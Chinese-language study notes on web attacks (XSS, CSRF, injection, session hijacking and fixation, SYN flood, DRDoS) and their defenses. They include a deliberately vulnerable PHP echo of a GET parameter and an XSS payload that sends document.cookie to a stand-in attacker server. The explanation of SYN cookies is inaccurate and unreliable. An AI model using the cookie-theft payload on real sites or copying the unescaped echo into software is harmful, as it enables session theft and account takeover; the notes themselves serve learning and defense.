网络安全学习笔记

跨站脚本攻击（XSS Cross Site Script）

    一、定义：黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户游览网页时，控制用户游览器攻击的一种行为。

    二、分类:

    1.    反射性XSS:把用户输入的数据反射给游览器（诱使用户“点击”一个恶意的链接）篡改链接->用户访问->跳转执行脚本

<?php
   echo $_GET["test"];
?>

用户提交：ip?test=<script>alert("test")</script>。游览器即会执行相应的脚本

    2. 存储型XSS：把用户输入的数据“存储”在服务器端。如黑客上传含有恶意Js代码的博客文章到网站服务器，访客游览网页博客时，在他们的游览器中恶意执行这段代码

    3. DOM Base XSS:通过修改网页DOM节点形成的XSS。当网站通过表单让用户输入内容而实现动态修改网页DOM节点的交互功能时，若黑客恶意构造特定格式脚本内容，就可能造成DOM Base XSS。

    三、危害

    1. XSS可实现cookie劫持：攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识session id的cookie上报给攻击者。

比如可以在网站上嵌入<script>window.open('hackerSever?msg='+document.cookie)</script>。将用户cookie发送至攻击者的服务器，服务器获取用户cookie，攻击者即可利用其登录到用户账户中。

    2. 通过模拟GET、POST请求操作用户的游览器。如在用户登录邮箱后获取其邮件信息。（先通过正常抓包获取相应访问链接及其请求内容，再通过模拟请求获取）

    3. XSS钓鱼

    （1）XSS重定向钓鱼（XSS Redirect Phishing）：将当前页面重定向到仿冒正常网站的页面中，进行欺诈活动

    （2）HTML注入式钓鱼（XSS HTML Inject Phishing）：如动态嵌入一个Form表单，诱使用户填写相应信息进行盗取

    （3）XSS 跨框架钓鱼（Iframe Phishing）:通过<Iframe>标签嵌入远程域的一个页面实施钓鱼。，而此时主页面依然处在正常网站的域名下，因此具有很高的迷惑性。

    四、XSS的防御

    1. 设置HttpOnly->防御Cookie劫持攻击，如果Cookie设置了HttpOnly，JS就读取不到Cookie的值。HttpOnly在服务器第一次返回发送Set-Cookie时（同时向客户端游览器写入Cookie)标记，它可以选择性地加在任何一个Cookie上

[php] view plain copy

1. <?php  
2.     header("Set-Cookie : cookie1;")  
3.     header("Set-Cookie : cookie1;httponly", false);  
4. ?>  
5. <script>  
6.     alert(document.cookie);  
7. </script>  

    2.输入检查（XSS Filter):如对特殊符号进行转义，特殊语句进行检查过滤等。尤其对于富文本(用户提交一些自定义的HTML代码）“事件“应该被严格禁止，同时也应包括一些比较危险的标签如<iframe>、<script>、<base>、<form>等。

跨站点请求伪造（CSRF Cross Site Request Forgery)

   一、 定义：攻击者盗用用户身份，并以用户身份发送恶意请求。CSRF攻击是源于WEB的隐式身份验证机制。WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的。一般来说，完成一次攻击需经过两步：

1.登录受信任网站A，并在本地生成Cookie。

2.在不登出A的情况下，访问危险网站B。

    二、CSRF的防御

    1. 服务与客户端交互进行CSRF防御：先构造third-party Cookie。同时在表单中增加经过hashing的cookie值随表单提交发送到服务器，在服务器获取cookie和表单加密Cookie进行hash校验。

    2. 验证码校验，用户每次提交请求需填写一个图片上的随机字符串，理论上可以完全解决CSRF的问题

    3. One-Time Tokens(不同的表单包含一个不同的伪随机值)，实现思路：

        (1)编写token生成函数

        (2)在每次生成表单时，调用token生成函数，增添隐藏域存储token,考虑到不同的表单包含一个不同的伪随机值，还需同时生成访问对应token的索引

        (3)服务端核对token,表单提交时，服务端根据提交的索引获取Session域对应token,与提交的token进行核对。

注入攻击与Session认证

   一、 注入攻击的本质，是把用户输入的数据当做代码执行。其中有两个关键点：

        1、用户能够控制输入。

        2、原本程序要执行的代码，平走了用户输入的数据

    二、Session安全

        当用户登录认证后，在服务器端就会创建一个新的会话（Session），会话中保存用户的状态和相关信息，同时生成一个游览器端对用户透明的凭证，即为SessionID

        1、Session劫持:黑客通过窃取用户SessionID后，使用该SessionID登录进目标用户。

        2、Session Fixation攻击：用户登录前后的SessionID未发生改变，就会存在此问题。具体的攻击过程为：攻击者先获取一个未认证的SessionID,并将其交给用户认证，若用户认证后，服务器并未更新此SessionID的值，攻击者就可以凭借此SessionID登录用户账户。如果SessionId保存在Cookie中，攻击者较难让用户使用这个SessionID,但如果由于youlan游览器不支持Cookie等原因，SessionID做为参数出现在URL时，攻击者只要诱使用户打开特定URL即可。而解决Session Fixation的正确做法，是在登录完成后，重写SessionID

        3、Session保持攻击，一般来说,Session是有生命周期的，当用户长时间未活动，或者注销用户后，用户Session将会被销毁。但如果攻击者窃取并一直持有用户有效的Session（比如间隔性的刷新网页），就能一直使用用户的账户，形成Session保持攻击。

应用层拒绝服务攻击（DDOS Distributed Denial of Service)

拒绝服务攻击以消耗服务器端资源为目的，构造大量请求数据想服务器端发送请求。

在Sever收到SYN,seq后，处于半连接状态，发送数据包并等待Client回应,由于Client在短时间内伪造大量不存在的IP地址，并向Server不断地发送SYN包，Server回复确认包，并等待Client的确认，由于源地址是不存在的，因此，Server需要不断重发直至超时，这些伪造的SYN包将产时间占用未连接队列，导致正常的SYN请求因为队列满而被丢弃，从而引起网络堵塞甚至系统瘫痪

     其中SYN Cookie是对抗SYN flood的主要措施之一，它的主要思想是为每一个IP地址分配一个"cookie",并统计每个IP地址的访问频率。如果在短时间内收到大量来自同一个IP地址的数据包，则认为受到攻击，之后来自这个IP地址的包将被丢弃。

分布反射式拒绝服务（DRDOS）

攻击流程如下所示：

黑客伪造受害者id
->向大量服务器发送请求
->大量服务器响应请求（发送应答包）
->受害者主机忙于处理